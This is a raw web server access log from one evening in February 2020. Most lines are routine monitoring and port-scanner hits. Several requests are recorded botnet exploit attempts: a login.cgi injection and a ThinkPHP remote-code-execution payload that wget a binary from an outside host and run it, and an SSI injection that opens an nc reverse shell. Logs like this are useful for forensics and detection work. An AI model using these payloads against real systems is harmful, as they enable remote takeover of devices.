212.91.246.72 - - [29/Feb/2020:19:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.112.41 - - [29/Feb/2020:19:22:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:19:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [29/Feb/2020:19:29:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [29/Feb/2020:19:29:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [29/Feb/2020:19:29:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:19:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [29/Feb/2020:19:29:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [29/Feb/2020:19:30:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:19:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.28.92.211 - - [29/Feb/2020:19:33:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:19:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.59.100.132 - - [29/Feb/2020:19:34:11 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:19:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.237.232 - - [29/Feb/2020:19:40:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:19:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
65.35.145.15 - - [29/Feb/2020:19:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:19:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.59.43.104 - - [29/Feb/2020:19:41:56 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:56 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:56 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:56 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:56 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:57 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:57 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
139.59.43.104 - - [29/Feb/2020:19:41:57 +0100] "SSH-2.0-libssh2_1.7.0" 501 336 "-" "-"
23.254.36.12 - - [29/Feb/2020:19:42:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
23.254.36.12 - - [29/Feb/2020:19:42:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36"
82.78.178.104 - - [29/Feb/2020:19:42:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:19:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.62.141.254 - - [29/Feb/2020:19:48:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:19:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.237.232 - - [29/Feb/2020:19:56:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:19:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.142.94.101 - - [29/Feb/2020:20:03:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:20:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [29/Feb/2020:20:06:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:20:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [29/Feb/2020:20:09:34 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [29/Feb/2020:20:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [29/Feb/2020:20:12:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [29/Feb/2020:20:12:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [29/Feb/2020:20:12:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:20:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [29/Feb/2020:20:12:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:20:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.183.194.154 - - [29/Feb/2020:20:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:20:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.237.232 - - [29/Feb/2020:20:18:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:20:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [29/Feb/2020:20:21:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:20:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.233.73.25 - - [29/Feb/2020:20:22:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:20:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.237.232 - - [29/Feb/2020:20:28:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:20:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.89.132.46 - - [29/Feb/2020:20:34:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:20:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.65.217 - - [29/Feb/2020:20:35:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
61.19.71.84 - - [29/Feb/2020:20:35:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:35:21 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:35:22 +0100] "POST /Admin50f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [29/Feb/2020:20:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:35:44 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
61.19.71.84 - - [29/Feb/2020:20:35:44 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
61.19.71.84 - - [29/Feb/2020:20:35:44 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
61.19.71.84 - - [29/Feb/2020:20:35:44 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
61.19.71.84 - - [29/Feb/2020:20:36:06 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
61.19.71.84 - - [29/Feb/2020:20:36:28 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [29/Feb/2020:20:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:36:50 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
61.19.71.84 - - [29/Feb/2020:20:37:11 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
61.19.71.84 - - [29/Feb/2020:20:37:33 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [29/Feb/2020:20:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:37:55 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
61.19.71.84 - - [29/Feb/2020:20:38:17 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
61.19.71.84 - - [29/Feb/2020:20:38:17 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:17 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:18 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:18 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:18 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:18 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:18 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:19 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:19 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:19 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
